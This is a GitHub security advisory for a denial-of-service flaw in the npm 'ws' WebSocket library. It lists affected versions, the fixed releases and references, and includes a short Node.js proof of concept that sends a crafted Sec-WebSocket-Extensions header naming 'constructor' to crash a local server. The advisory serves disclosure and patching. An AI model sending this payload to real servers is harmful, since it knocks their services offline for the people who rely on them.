GitHub Advisoryadvisory · npm
GHSA-5v72-xg48-5rpm Denial of Service in ws
HIGH
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- Ecosystem
- npm
- Packages
- ws
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2019-06-04
Affected packages
• npm ws: >= 0.6.0, < 1.1.5 → fixed in 1.1.5
• npm ws: >= 2.0.0, < 3.3.1 → fixed in 3.3.1
Description
Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.
Proof of concept
```
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
```
Recommendation
Update to version 3.3.1 or later.
Related
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness
References
- https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef web
- https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a web
- https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407 web
- https://github.com/websockets/ws package
- https://snyk.io/vuln/npm:ws:20171108 web